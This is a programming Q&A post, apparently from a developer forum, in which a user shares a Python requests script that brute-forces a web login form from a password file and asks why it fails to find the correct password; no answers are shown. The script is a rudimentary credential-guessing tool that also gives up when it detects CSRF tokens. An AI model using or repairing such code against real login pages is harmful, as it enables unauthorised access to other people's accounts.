I failed a brute-force - Python requests

106 Views Asked by At

I have this python code that doesn't seem to work. My passwords.txt file contains three passwords; a wrong password, the correct password, and an incorrect password.

It doesn't seem to catch the correct password; is there another way I could catch it? Could the problem be somewhere else(not finding the text fields, for example)?


import requests
url = "http:website.login"
username = "username"
error = "Password Error"

try:
    def bruteCracking(username,url,error):
        for password in passwords:
            password = password.strip()
            print("Trying:" + password)
            data_dict = {"text": username,"password": password,"button":"btnEntrar"}         
            response = requests.post(url, data=data_dict)
            if error in str(response.content):
               pass
            elif "csrf" in str(response.content):
                 print("CSRF Token Detected!! BruteF0rce Not Working This Website.")
                 exit()
            else:
                 print("Username: ---> " + username)
                 print("Password: ---> " + password)
                 exit()
except:
       print("Some Error Occurred Please Check Your Internet Connection!")
        
with open("passwords.txt", "r") as passwords:
     bruteCracking(username,url,error)

btnEntrar is the name of the button, the object type is not submit, it is button

0

There are 0 best solutions below